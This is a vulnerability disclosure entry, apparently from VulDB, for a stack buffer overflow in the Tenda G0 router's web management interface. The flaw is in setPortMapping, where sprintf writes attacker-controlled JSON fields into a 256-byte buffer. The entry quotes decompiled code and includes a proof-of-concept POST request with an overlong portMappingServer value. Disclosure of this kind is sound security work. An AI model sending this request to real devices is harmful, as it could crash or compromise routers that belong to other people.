提出 #868929: Tenda G0 Tenda G0 Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda G0. Attackers can exploit this vulnerability by specifying the value of portMappingServer. In setPortMapping, portMappingServer is written into the fixed-size stack buffer s_ through sprintf without length validation, which may cause a buffer overflow. The same formatting operation also incorporates the attacker-controlled strings porMappingtInternal and portMappingExternal.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/module. The unified module dispatch entry is:
websDefineAction("module", (int)formModules);

The setPortMapping handler is registered as:
moduleRegister("setPortMapping", (int)formSetPortMapping);

In formSetPortMapping, the data object is passed into setPortMapping when type is add or edit:
v6 = setPortMapping((int)ObjectItem, 0);
v6 = setPortMapping((int)ObjectItem, 1);

In setPortMapping, attacker-controlled values are read from the JSON data object:
String = cJSON_GetString(a1, "portMappingServer", (int)&byte_512830);
v9 = cJSON_GetString(a1, "porMappingtInternal", (int)&byte_512830);
v10 = cJSON_GetString(a1, "portMappingExternal", (int)&byte_512830);

The destination buffer is a fixed-size stack buffer:
char s_[256];

The user-controlled values are formatted into s_ without length validation:
sprintf(s_, "%d;%s;%s;%s;%d;%d", v8, (const char *)v10, (const char *)v9, (const char *)String, Int, v14);

Because sprintf writes attacker-controlled portMappingServer, porMappingtInternal, and portMappingExternal values into the fixed-size s_ stack buffer, overly long values can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/module HTTP/1.1
Host: <device-ip>
Content-Type: application/json

{"setPortMapping":{"type":"add","data":{"portMappingServer":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","porMappingtInternal":"1","portMappingExternal":"2","portMappingProtocol":1,"portMappingWan":0}}}

• ソース: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/G0/3.md
• ユーザー: stksgg (UID 97520)
• 送信: 2026年06月25日 09:10 (2 月 ago)
• モデレーション: 2026年08月13日 20:55 (2 months later)
• ステータス: 承諾済み
• VulDBエントリ: 389758 [Tenda G0 迄 20260625 httpd web management interface /goform/module setPortMapping メモリ破損]
• ポイント: 20